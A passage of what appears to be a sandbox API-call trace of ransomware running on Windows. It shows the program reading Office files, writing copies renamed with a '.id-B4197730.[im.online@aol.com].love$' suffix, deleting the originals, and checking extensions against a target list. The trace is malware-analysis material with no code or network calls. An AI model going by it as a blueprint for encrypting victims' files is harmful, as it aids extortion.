Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.506] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.506] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0116.507] GetLastError () returned 0x0 [0116.507] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0116.530] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0116.852] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.852] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.852] SetEndOfFile (hFile=0x394) returned 1 [0116.853] CloseHandle (hObject=0x394) returned 1 [0116.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.870] SetEndOfFile (hFile=0x374) returned 1 [0116.877] CloseHandle (hObject=0x374) returned 1 [0116.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0116.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.878] lstrlenW (lpString=".doc") returned 4 [0116.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString=".docx") returned 5 [0116.878] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.878] lstrlenW (lpString=".pdf") returned 4 [0116.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString=".xls") returned 4 [0116.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString=".xlsx") returned 5 [0116.878] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.878] lstrlenW (lpString=".ppt") returned 4 [0116.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.878] lstrlenW (lpString=".zip") returned 4 [0116.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.878] lstrlenW (lpString=".rar") returned 4 [0116.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString=".bz2") returned 4 [0116.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.878] lstrlenW (lpString=".7z") returned 3 [0116.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString=".dbf") returned 4 [0116.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString=".1cd") returned 4 [0116.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString=".jpg") returned 4 [0116.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString=".doc") returned 4 [0116.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString=".docx") returned 5 [0116.879] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.879] lstrlenW (lpString=".pdf") returned 4 [0116.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString=".xls") returned 4 [0116.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString=".xlsx") returned 5 [0116.879] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.879] lstrlenW (lpString=".ppt") returned 4 [0116.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.879] lstrlenW (lpString=".zip") returned 4 [0116.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.880] lstrlenW (lpString=".rar") returned 4 [0116.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.880] lstrlenW (lpString=".bz2") returned 4 [0116.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.880] lstrlenW (lpString=".7z") returned 3 [0116.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.880] lstrlenW (lpString=".dbf") returned 4 [0116.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.880] lstrlenW (lpString=".1cd") returned 4 [0116.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0116.880] lstrlenW (lpString=".jpg") returned 4 [0116.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.880] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.880] lstrlenW (lpString="AG00004_.GIF") returned 12 [0116.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0116.892] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9024) returned 1 [0116.915] CloseHandle (hObject=0x394) returned 1 [0116.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0116.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0116.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0116.979] GetLastError () returned 0x0 [0117.001] ReadFile (in: hFile=0x394, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2340, lpOverlapped=0x0) returned 1 [0117.003] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2350, lpOverlapped=0x0) returned 1 [0117.004] ReadFile (in: hFile=0x394, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.004] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.005] SetEndOfFile (hFile=0x2b8) returned 1 [0117.005] CloseHandle (hObject=0x2b8) returned 1 [0117.008] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.008] SetEndOfFile (hFile=0x394) returned 1 [0117.009] CloseHandle (hObject=0x394) returned 1 [0117.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0117.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.011] lstrlenW (lpString=".doc") returned 4 [0117.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.011] lstrlenW (lpString=".docx") returned 5 [0117.011] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.012] lstrlenW (lpString=".pdf") returned 4 [0117.012] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString=".xls") returned 4 [0117.012] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString=".xlsx") returned 5 [0117.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.012] lstrlenW (lpString=".ppt") returned 4 [0117.012] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString=".zip") returned 4 [0117.012] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString=".rar") returned 4 [0117.012] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString=".bz2") returned 4 [0117.012] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.012] lstrlenW (lpString=".7z") returned 3 [0117.012] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString=".dbf") returned 4 [0117.012] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString=".1cd") returned 4 [0117.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString=".jpg") returned 4 [0117.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.012] lstrlenW (lpString=".doc") returned 4 [0117.013] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.013] lstrlenW (lpString=".docx") returned 5 [0117.013] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.013] lstrlenW (lpString=".pdf") returned 4 [0117.013] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.013] lstrlenW (lpString=".xls") returned 4 [0117.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.013] lstrlenW (lpString=".xlsx") returned 5 [0117.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.013] lstrlenW (lpString=".ppt") returned 4 [0117.013] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.013] lstrlenW (lpString=".zip") returned 4 [0117.013] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.013] lstrlenW (lpString=".rar") returned 4 [0117.013] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.013] lstrlenW (lpString=".bz2") returned 4 [0117.013] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.013] lstrlenW (lpString=".7z") returned 3 [0117.013] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.013] lstrlenW (lpString=".dbf") returned 4 [0117.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.013] lstrlenW (lpString=".1cd") returned 4 [0117.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0117.013] lstrlenW (lpString=".jpg") returned 4 [0117.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.014] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.014] lstrlenW (lpString="AG00057_.GIF") returned 12 [0117.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.016] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11891) returned 1 [0117.016] CloseHandle (hObject=0x2b8) returned 1 [0117.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0117.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.016] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.016] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0117.017] GetLastError () returned 0x0 [0117.017] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0117.021] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0117.022] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.022] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.023] SetEndOfFile (hFile=0x354) returned 1 [0117.023] CloseHandle (hObject=0x354) returned 1 [0117.028] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.028] SetEndOfFile (hFile=0x2b8) returned 1 [0117.030] CloseHandle (hObject=0x2b8) returned 1 [0117.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0117.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.031] lstrlenW (lpString=".doc") returned 4 [0117.031] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.031] lstrlenW (lpString=".docx") returned 5 [0117.031] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.031] lstrlenW (lpString=".pdf") returned 4 [0117.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.031] lstrlenW (lpString=".xls") returned 4 [0117.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.031] lstrlenW (lpString=".xlsx") returned 5 [0117.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.031] lstrlenW (lpString=".ppt") returned 4 [0117.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.031] lstrlenW (lpString=".zip") returned 4 [0117.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.031] lstrlenW (lpString=".rar") returned 4 [0117.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.031] lstrlenW (lpString=".bz2") returned 4 [0117.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.031] lstrlenW (lpString=".7z") returned 3 [0117.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.031] lstrlenW (lpString=".dbf") returned 4 [0117.032] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.032] lstrlenW (lpString=".1cd") returned 4 [0117.032] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.032] lstrlenW (lpString=".jpg") returned 4 [0117.032] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.032] lstrlenW (lpString=".doc") returned 4 [0117.032] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.032] lstrlenW (lpString=".docx") returned 5 [0117.032] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.032] lstrlenW (lpString=".pdf") returned 4 [0117.032] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString=".xls") returned 4 [0117.032] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString=".xlsx") returned 5 [0117.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.032] lstrlenW (lpString=".ppt") returned 4 [0117.032] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.032] lstrlenW (lpString=".zip") returned 4 [0117.032] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString=".rar") returned 4 [0117.032] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.032] lstrlenW (lpString=".bz2") returned 4 [0117.033] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.033] lstrlenW (lpString=".7z") returned 3 [0117.033] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.033] lstrlenW (lpString=".dbf") returned 4 [0117.033] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.033] lstrlenW (lpString=".1cd") returned 4 [0117.033] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0117.033] lstrlenW (lpString=".jpg") returned 4 [0117.033] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.033] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.033] lstrlenW (lpString="AG00090_.GIF") returned 12 [0117.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.035] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=517) returned 1 [0117.035] CloseHandle (hObject=0x2b8) returned 1 [0117.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0117.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 